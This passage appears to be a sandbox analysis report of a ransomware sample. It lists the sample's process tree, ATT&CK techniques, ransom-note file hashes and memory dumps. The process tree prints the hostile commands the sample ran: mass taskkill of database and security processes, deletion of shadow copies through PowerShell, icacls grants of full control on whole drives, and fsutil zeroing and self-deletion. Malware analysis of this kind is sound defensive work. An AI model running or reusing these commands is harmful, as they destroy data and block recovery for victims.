  - Suspicious use of AdjustPrivilegeToken
  PID:3028
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:2968
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3272
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:788
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2772
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3424
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:844
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3832
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3672
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:816
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3052
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2332
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3848
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2340
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2072
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3140
- C:\Windows\system32\net.exe
  "net.exe" stop OracleClientCache80 /y
  2⤵
  PID:2988
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop OracleClientCache80 /y
    3⤵
    PID:4240
- C:\Windows\system32\icacls.exe
  "icacls" "C:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:1596
- C:\Windows\system32\icacls.exe
  "icacls" "D:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:2588
- C:\Windows\system32\icacls.exe
  "icacls" "Z:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:2076
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:4416
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:4928
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
  2⤵
  - Deletes itself
  PID:4532
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4940

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1636551212-1266287104-822813800-98311428-196427894140815446814422113551754271941"
1⤵
PID:2276

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2054833826-14539570981102611895-12233735201283289726982977507-1388334462-555942388"
1⤵
PID:3932

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1288673606-55754014416893537168356098451322869730199056501016907272971013423111"
1⤵
PID:3916

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2667766771658544216867272783090367751107385620-11047446091624717524-167210533"
1⤵
PID:3772

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1601151487116260328-1233741695-806835821-807132712268778195-75374821-1172833389"
1⤵
PID:3948

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "804074451211016537462084476-1187955022-770902415-1940665058-1730356025-1251735736"
1⤵
PID:3968

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1169565327-65661797-512732453-1539251933-1416122445-2461699651970748029-508714190"
1⤵
PID:4068

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1452519759-970472847-19056489381628962777-676477609198161362126297713297361077"
1⤵
PID:3908

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1606634943706862001626475380-127227446-540969102-112026500245093777-859055904"
1⤵
PID:3976

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "266568777276656101296219795-1667003497-618824940166122792919067095821435126808"
1⤵
PID:1296

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "867805884-989750394-635837554-1227826360-1078440563-9782995877984132981158007701"
1⤵
PID:3604

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-605740301-1821062139-1289511606183858309212242079781135360953-1661680505-1535982366"
1⤵
PID:3336

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1191051485-1773348911407172405-1344747937-985905225-11494696872859845441591286437"
1⤵
PID:1952

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-123093570-60813940-1697332606-681333603487733462914957282-2088466900-1037286538"
1⤵
PID:1440

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-921154106-720091683753717853250903989-135990973520604268051438927094502599918"
1⤵
PID:828

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "20827387101471227624232589441-1076523768-1327754003387447661217120212386260473"
1⤵
PID:2592

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "26815810913770941425635215291981256110-12269489591829552651-849444406-2139695853"
1⤵
PID:1980

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1124452079-2009608570724815119185450281504312739-2048997704646283168118974901"
1⤵
PID:1896

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-96740889862791429-840827190-142945950416536178201329862978-19268663741437467556"
1⤵
PID:3084

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1658501174-1281098443-16235380211331391629442103321-15696973015221807422011565312"
1⤵
PID:4020

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "12522510961502525923-17289612211062250239-616816509-1825400024-94105200210368605"
1⤵
PID:2536

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-821337301-1274757890-146063983631703360920264553462062414731-134215611317622104"
1⤵
PID:2792

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "574037754-12048956341090794366-797877416-16667646581794295948-2039264773-635255530"
1⤵
PID:3628

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1445525293200249493625899738-1109320262-164579277185570748716567142621994417411"
1⤵
PID:2376

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "7632757327196373194155662491496916698618105360-5441520131773809432-723474354"
1⤵
PID:3476

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "18084734491746266872448894143-318405071-3608069662878531836342233141003690960"
1⤵
PID:3820

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1992898312-42739817-6128123451867503686-1129920118812145561332001792-1017868837"
1⤵
PID:2744

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-11626824252034873935-2087033799-3076639571455887013672774831-1374212096-594975493"
1⤵
PID:3468

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1711464820-2704923121671379640-791965811439331898-367124360-1477978960-1804430169"
1⤵
PID:3312

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1730837998-18911737253738619431472949870-15575898771115438372-1404223298-1335766392"
1⤵
PID:3800

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1334743380-1700503320-149565931316387137731672978518262730987201687322-1520753430"
1⤵
PID:112

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1160373803-16307171272025884569583565914-7978798542056588957-1621073018-1515759819"
1⤵
PID:1692

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-103131688671643654-1633632730671715816-920401805-2143473005-1932054625-2066703023"
1⤵
PID:2288

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "13251202571129381090-170606855418829885741744671251-1716123763-820642575838224513"
1⤵
PID:2576

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "712905884143120260972090201539350953615582125-12273603431406636565-783748736"
1⤵
PID:1052

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "6036340686097712220757399001435290576-906319418-296715897-95935234-1564235686"
1⤵
PID:3492

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "130503340405171902-479352380744725800-364930393201312487719703638451198645428"
1⤵
PID:2600

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "183517957-65293875-12368249391991802884-1631295088-89417277917136537371017874843"
1⤵
PID:3356

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-620642193-326870801-909233929-4248253451043999208-358383762851024058-1939480367"
1⤵
PID:2712

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "21353157671981742534-355632395-16501151421919507652-1133291940-15001898881499661488"
1⤵
PID:2124

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-335831588-123719413019498698268215717673011720441078863375873955883-93357136"
1⤵
PID:3676

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "608944326-931450486-8384592711922096600-654352800433330494-749142553-679786240"
1⤵
PID:2612

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "464567328-932886244-208105996319873940921781937691118288015244157761802754278"
1⤵
PID:2508

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1648576497-377676699927022928-203168223615142486794808403011379965051852084575"
1⤵
PID:2156

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-463983955-417815248-469423826-4091513641906847302-1604685787-603587031183654770"
1⤵
PID:2216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

MD5
7bc80cac9b2c0201ac9139180278a0b7

SHA1
677739c1bcf128782ee083c8b1079799d2969768

SHA256
a8f40f4f6624ddddcb1f26c6eb89f370e3a53942aa5bdad82f971b9098a1f8b2

SHA512
52590005e817ce0e195e671d532ee746fb3a6e595df5ea35c8326425e0312a1663302323d419fc3cb961503f8f3f15fa79d72bb4059a638f538bb8fe053bd447

Download Submit
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5
4bd46537a7e353940769dd4011ffb280

SHA1
ae4accf0c4b48f18c02738919bfe2bb58b8fe136

SHA256
653d9054eb4b916c665f49dab9f0b00c263166e2fec21e4b66506643176fbf88

SHA512
ab77fd604395da2d434476ed052791b769316f9ca5c7f7915b1813d40e4f9a712cbdef70ef12e22f5d2d657866e60f1eba5d2499d2397811c5358519bf089623

Download Submit
memory/112-71-0x0000000000000000-mapping.dmp

Download
memory/240-113-0x0000000000000000-mapping.dmp

Download
memory/292-122-0x0000000000000000-mapping.dmp

Download
memory/308-110-0x0000000000000000-mapping.dmp

Download
memory/520-59-0x00000000009A0000-0x00000000009A1000-memory.dmp

Filesize
4KB

Download
memory/520-61-0x000000001AE40000-0x000000001AE42000-memory.dmp

Filesize
8KB

Download
memory/572-119-0x0000000000000000-mapping.dmp

Download
memory/596-111-0x0000000000000000-mapping.dmp

Download
memory/620-64-0x0000000000000000-mapping.dmp

Download
memory/620-127-0x0000000000000000-mapping.dmp

Download
memory/692-123-0x0000000000000000-mapping.dmp

Download
memory/744-63-0x0000000000000000-mapping.dmp

Download
memory/788-120-0x0000000000000000-mapping.dmp

Download
memory/816-103-0x0000000000000000-mapping.dmp

Download
memory/816-124-0x0000000000000000-mapping.dmp

Download
memory/828-85-0x0000000000000000-mapping.dmp

Download
memory/844-100-0x0000000000000000-mapping.dmp

Download
memory/864-72-0x0000000000000000-mapping.dmp

Download
memory/900-88-0x0000000000000000-mapping.dmp

Download
memory/904-77-0x0000000000000000-mapping.dmp

Download
memory/904-125-0x0000000000000000-mapping.dmp

Download
memory/916-86-0x0000000000000000-mapping.dmp

Download
memory/928-90-0x0000000000000000-mapping.dmp

Download
memory/960-114-0x0000000000000000-mapping.dmp

Download
memory/960-80-0x0000000000000000-mapping.dmp

Download
memory/968-73-0x0000000000000000-mapping.dmp

Download
memory/1060-92-0x0000000000000000-mapping.dmp

Download
memory/1064-121-0x0000000000000000-mapping.dmp

Download
memory/1092-112-0x0000000000000000-mapping.dmp

Download
memory/1096-93-0x0000000000000000-mapping.dmp

Download
memory/1140-116-0x0000000000000000-mapping.dmp

Download
memory/1140-81-0x0000000000000000-mapping.dmp

Download
memory/1164-83-0x0000000000000000-mapping.dmp

Download
memory/1168-75-0x0000000000000000-mapping.dmp

Download
memory/1188-105-0x0000000000000000-mapping.dmp

Download
memory/1220-96-0x0000000000000000-mapping.dmp

Download
memory/1220-107-0x0000000000000000-mapping.dmp

Download
memory/1248-84-0x0000000000000000-mapping.dmp

Download
memory/1260-117-0x0000000000000000-mapping.dmp

Download
memory/1260-78-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

Filesize
8KB

Download
memory/1260-69-0x0000000000000000-mapping.dmp

Download
memory/1296-68-0x0000000000000000-mapping.dmp

Download
memory/1308-70-0x0000000000000000-mapping.dmp

Download
memory/1308-115-0x0000000000000000-mapping.dmp

Download
memory/1312-109-0x0000000000000000-mapping.dmp

Download
memory/1328-76-0x0000000000000000-mapping.dmp

Download
memory/1368-91-0x0000000000000000-mapping.dmp

Download
memory/1376-101-0x0000000000000000-mapping.dmp

Download
memory/1488-99-0x0000000000000000-mapping.dmp

Download
memory/1520-126-0x0000000000000000-mapping.dmp

Download
memory/1524-98-0x0000000000000000-mapping.dmp

Download
memory/1536-74-0x0000000000000000-mapping.dmp

Download
memory/1544-89-0x0000000000000000-mapping.dmp

Download
memory/1564-94-0x0000000000000000-mapping.dmp

Download
memory/1572-97-0x0000000000000000-mapping.dmp

Download
memory/1596-87-0x0000000000000000-mapping.dmp

Download
memory/1632-108-0x0000000000000000-mapping.dmp

Download
memory/1684-65-0x0000000000000000-mapping.dmp

Download
memory/1688-104-0x0000000000000000-mapping.dmp

Download
memory/1692-66-0x0000000000000000-mapping.dmp

Download
memory/1740-106-0x0000000000000000-mapping.dmp

Download
memory/1804-118-0x0000000000000000-mapping.dmp

Download
memory/1824-102-0x0000000000000000-mapping.dmp

Download
memory/1840-95-0x0000000000000000-mapping.dmp

Download
memory/1892-62-0x0000000000000000-mapping.dmp

Download
memory/1952-67-0x0000000000000000-mapping.dmp

Download
memory/1964-82-0x0000000000000000-mapping.dmp

Download
memory/2980-132-0x000000001AC30000-0x000000001AC31000-memory.dmp

Filesize
4KB

Download
memory/2980-133-0x000000001AAB0000-0x000000001AAB2000-memory.dmp

Filesize
8KB

Download
memory/2980-134-0x000000001AAB4000-0x000000001AAB6000-memory.dmp

Filesize
8KB

Download
memory/2980-135-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/2980-136-0x0000000001D50000-0x0000000001D51000-memory.dmp

Filesize
4KB

Download
memory/2980-131-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

Filesize
4KB

Download